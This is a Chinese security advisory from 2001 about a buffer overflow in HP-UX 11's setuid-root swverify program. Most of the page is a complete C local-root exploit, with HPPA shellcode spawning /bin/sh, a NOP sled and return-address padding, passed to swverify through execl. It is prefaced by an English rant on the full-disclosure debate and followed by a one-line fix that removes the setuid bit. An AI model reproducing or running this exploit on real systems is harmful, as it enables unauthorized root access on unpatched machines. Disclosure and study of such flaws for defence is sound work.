HP UNIX /usr/sbin/swverify 存在缓冲溢出漏洞发布时间：2001-09-05 更新时间：2001-09-05 严重程度：高 威胁程度：本地管理员权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 HP UNIX version 11详细描述 HP-UX的swverify是用来验证的程序，其中存在缓冲溢出可以导致本地用户执行任意代码。 测试代码 /* Copyright FOO This code may be distributed freely so long as it is kept in its entirety. http://www.counterpane.com/crypto-gram-0108.html#1 "I have long said that the Internet is too complex to secure. One of the reasons is that it is too complex to understand." "It's the authors of the worm and its variants, eEye for publicizing the vulnerability, and especially Microsoft for selling a product with this security problem." Didn't you just say that the Internet is too complex to even understand let alone secure? And now it's Microsoft's fault. How should they be able to magically know all the answers? Oh, I know, security is a process... "If software companies were held liable for systematic problems in its products, just like other industries (remember Firestone tires), we'd see a whole lot less of this kind of thing." Yes, I remember Firestone tires. Bridgestone/Firestone Inc. sold people a bunch of faulty tires. The wheel is certainly not "too complex to understand". After all, we've had 5000 years of R&D time; the public expects products that work right. Web servers, on the other hand, are a somewhat newer invention. Thanks for the phony analogy, Bruce. "You can argue that eEye did the right thing by publicizing this vulnerability, but I personally am getting a little tired of them adding weapons to hackers' arsenals. I support full disclosure and believe that it has done a lot to improve security, but eEye is going too far." I could go into the whole full disclosure debate, but I'd honestly rather get a root canal. Instead, I'll just point out how wrong you are. How can you support full disclosure and not support eEye fully disclosing this issue to the public? More importantly, why do you even care? The debate is over, full disclosure died when Jeff Moss started blackhat, bugtraq went corporate, and @stake bought the scene. The community at large has already rejected full disclosure. Anyone who thinks otherwise is naive. In reality the so called blackhats find most of the holes and only share them with their friends. Everyone can argue the pros and cons of full disclosure and try to start up hopeless little private 0 day clubs for vendors and "authorized" researchers until hell freezes over, or Microsoft releases a quality product. In the end, it's just a bunch of people who don't know, arguing with the bunch who don't get it. Blame eEye and Microsoft all you want if it makes you feel better. If you bitch at them long enough they might just join the rest of the real researchers out there who don't do public disclosure and only report to known and trusted peers. (read: other blackhats) The real problem here is that the clueless have convinced themselves that the computer security underground is nothing more than packs of socially challenged adolescent boys running around with proof of concept exploit code written by whitehats. Some have even deluded themselves into thinking that they should be the ones who are the gate keepers of vulnerability info. (Russ Cooper comes to mind.) Congratulations, the war is over. You won. The public is now either defenseless or paying by the hour. Don't bite the hand that feeds you or you won't get any more scraps from the table. I will leave you with this HPUX 11 local root exploit code. /usr/sbin/sw* are all setuid root by default and all contain buffer overflows. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 10102 #define STACK_OFFSET 0 #define EXTRA 4000 #define HPPA_NOP 0x3902800b //0x0b390280 u_char hppa_shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff \xff"; u_long get_sp(void) { __asm__("copy %sp,%ret0 \n"); } int main(int argc, char *argv[]) { char buf[BUF_LENGTH+8]; unsigned long targ_addr,other_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA; if(argc > 1) dso+=atoi(argv[1]); if(argc > 2) xtra+=atoi(argv[2]); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++) *long_p++ = HPPA_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = hppa_shellcode[i]; targ_addr = get_sp() - dso; for (i = 0; i < xtra /4; i++) { *char_p++ =(targ_addr>>24)&255; *char_p++ =(targ_addr>>16)&255; *char_p++ =(targ_addr>>8)&255; *char_p++ =(targ_addr)&255; } printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf), xtra,dso); execl("/usr/sbin/swverify","swverify", buf,(char *) 0); perror("execl failed"); return(-1); } 解决方案 chmod -s /usr/sbin/swverify 相关信息 |
